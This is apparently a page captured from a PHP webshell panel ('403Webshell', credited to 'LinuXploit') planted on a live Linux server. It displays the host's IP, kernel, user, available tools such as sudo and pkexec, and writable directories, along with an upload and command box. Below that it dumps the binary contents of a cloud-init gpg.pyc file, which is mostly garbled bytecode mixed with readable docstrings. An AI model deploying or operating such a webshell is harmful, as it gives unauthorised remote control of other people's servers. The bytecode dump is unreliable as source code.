403Webshell
Server IP : 188.114.97.3  /  Your IP : 216.73.216.30
Web Server : LiteSpeed
System : Linux vmi2710904 5.15.0-144-generic #157-Ubuntu SMP Mon Jun 16 07:33:10 UTC 2025 x86_64
User : rarch5794 ( 1006)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/__pycache__/gpg.cpython-310.pyc
o

x[h��@stdZddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
ddlmZe�
e�ZdZGdd�d�ZdS)	z0gpg.py - Collection of gpg key related functions�N)�TemporaryDirectory)�Dict�Optional)�subp�	GNUPGHOMEc@s�eZdZdd�Zdd�Zedeeeffdd��Zdd	�Z	d"dd�Z
d
edeefdd�Zd
edefdd�Z
d#dedefdd�Zd$d
ededd
fdd�Zd
edd
fdd�Z	d%dededeefdd�Zd"d d!�Zd
S)&�GPGcCsd|_i|_t�|_dS)NF)�gpg_started�_envr�temp_dir��self�r
�//usr/lib/python3/dist-packages/cloudinit/gpg.py�__init__szGPG.__init__cCs|S�Nr
rr
r
r�	__enter__sz
GPG.__enter__�returncCs&|jr|jSd|_t|jji|_|jS)awhen this env property gets invoked, set up our temporary
        directory, and also set gpg_started to tell the cleanup()
        method whether or not

        why put this here and not in __init__? pytest seems unhappy
        and it's not obvious how to work around it
        T)r	r�HOMEr
�namerr
r
r�env"s
	zGPG.envcCs|��dSr)�cleanup)r�exc_typ�	exc_value�	tracebackr
r
r�__exit__1szGPG.__exit__NcCs4|��|jrtj�|jj�r|j��dSdSdS)z0cleanup the gpg temporary directory and kill gpgN)�kill_gpgr
�os�path�isdirrrrr
r
rr4s�zGPG.cleanup�keyc
CsVztjddd|gd|jd�jWStjy*}zt�d||�WYd}~dSd}~ww)z*Export gpg key, armoured key gets returned�gpgz--exportz--armourT��capture�
update_env�&Failed to export armoured key "%s": %sN)rr�stdout�ProcessExecutionError�LOG�debug�rr�errorr
r
r�
export_armour:s
����zGPG.export_armourcCstjddg|d|jd�jS)z�Dearmor gpg key, dearmored key gets returned

        note: man gpg(1) makes no mention of an --armour spelling, only --armor
        r z	--dearmorF)�data�decoder#)rrr%)rrr
r
r�dearmorGs
��zGPG.dearmorF�key_filecCsLgd�}|s|�d�|�|�tj||jdd�\}}|r$t�d||�|S)z�List keys from a keyring with fingerprints. Default to a
        stable machine parseable format.

        @param key_file: a string containing a filepath to a key
        @param human_output: return output intended for human parsing
        )r z--no-optionsz--with-fingerprintz--no-default-keyringz--list-keysz	--keyringz
--with-colonsT)r#r"r$)�appendrrr'�warning)rr/�human_output�cmdr%�stderrr
r
r�	list_keysPs

�z
GPG.list_keys��r7�	keyserverc	
Cs�t�d||�d}d}t|pg�}	|d7}ztjddd|d	|gd|jd
�t�d|||�WdStjyF}z|}WYd}~nd}~wwzt|�}t�d|j|�t�	|�Wnt
yq}ztd
||||f�|�d}~wwq)a�Receive gpg key from the specified keyserver.

        Retries are done by default because keyservers can be unreliable.
        Additionally, there is no way to determine the difference between
        a non-existent key and a failure.  In both cases gpg (at least 2.2.4)
        exits with status 2 and stderr: "keyserver receive failed: No data"
        It is assumed that a key provided to cloud-init exists on the keyserver
        so re-trying makes better sense than failing.

        @param key: a string key fingerprint (as passed to gpg --recv-keys).
        @param keyserver: the keyserver to request keys from.
        @param retries: an iterable of sleep lengths for retries.
        Use None to indicate no retries.z&Importing key '%s' from keyserver '%s'rNTr7r z--no-ttyz--keyserver=%sz--recv-keysr!z/Imported key '%s' from keyserver '%s' on try %dz6Import failed with exit code %d, will try again in %ssz@Failed to import key '%s' from keyserver '%s' after %d tries: %s)r'r(�iterrrr&�next�	exit_code�time�sleep�
StopIteration�
ValueError)	rrr8�retries�trynumr*�sleeps�e�naplenr
r
r�recv_keyjs^������
������zGPG.recv_keyc
CsZztjdddd|gd|jd�WdStjy,}zt�d||�WYd}~dSd}~ww)	z0Delete the specified key from the local gpg ringr z--batchz--yesz
--delete-keysTr!zFailed delete key "%s": %sN)rrr&r'r1r)r
r
r�
delete_key�s���zGPG.delete_key�keyserver.ubuntu.com�keyidc	Csj|�|�}|s3z%z|j||d�|�|�}Wnty$t�d|��wW|�|�|S|�|�w|S)zget gpg keyid from keyserver)r8zFailed to obtain gpg key %s)r+rEr?r'�	exceptionrF)rrHr8�armourr
r
r�
getkeybyid�s
��
�zGPG.getkeybyidc
Cs�zK|jsWdSt�d�rtjgd�d|jd�j}WdStjgd�dddgd	�j}t�d
|�}dd�|D�}|r=t�d
|�|D]	}t	�
|tj�q?WdStj
ye}z
t�d|�WYd}~dSd}~ww)akilling with gpgconf is best practice, but when it isn't available
        failover is possible

        GH: 4344 - stop gpg-agent/dirmgr daemons spawned by gpg
        key imports. Daemons spawned by cloud-config.service on systemd
        v253 report (running)
        N�gpgconf)rLz--kill�allTr!)	�psz-ozppid,pid�-C�keyboxdrO�dirmngrrOz	gpg-agentrr7)r"�rcsz(?P<ppid>\d+)\s+(?P<pid>\d+)cSs$g|]}|ddkrt|d��qS)r�1r7)�int)�.0�pidr
r
r�
<listcomp>�sz GPG.kill_gpg.<locals>.<listcomp>z&Killing gpg-agent and dirmngr pids: %sz"Failed to clean up gpg process: %s)rr�whichrr%�re�findallr'r(r�kill�signal�SIGKILLr&r1)r�gpg_process_out�gpg_pids�
root_gpg_pids�gpg_pidrCr
r
rr�sF
����������zGPG.kill_gpg)rN)F)r6)rG)�__name__�
__module__�__qualname__rr�propertyr�strrrrrr+r.r5rErFrKrr
r
r
rrs*

	7���
�r)�__doc__�loggingrrYr\r<�tempfiler�typingrr�	cloudinitr�	getLoggerrbr'rrr
r
r
r�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit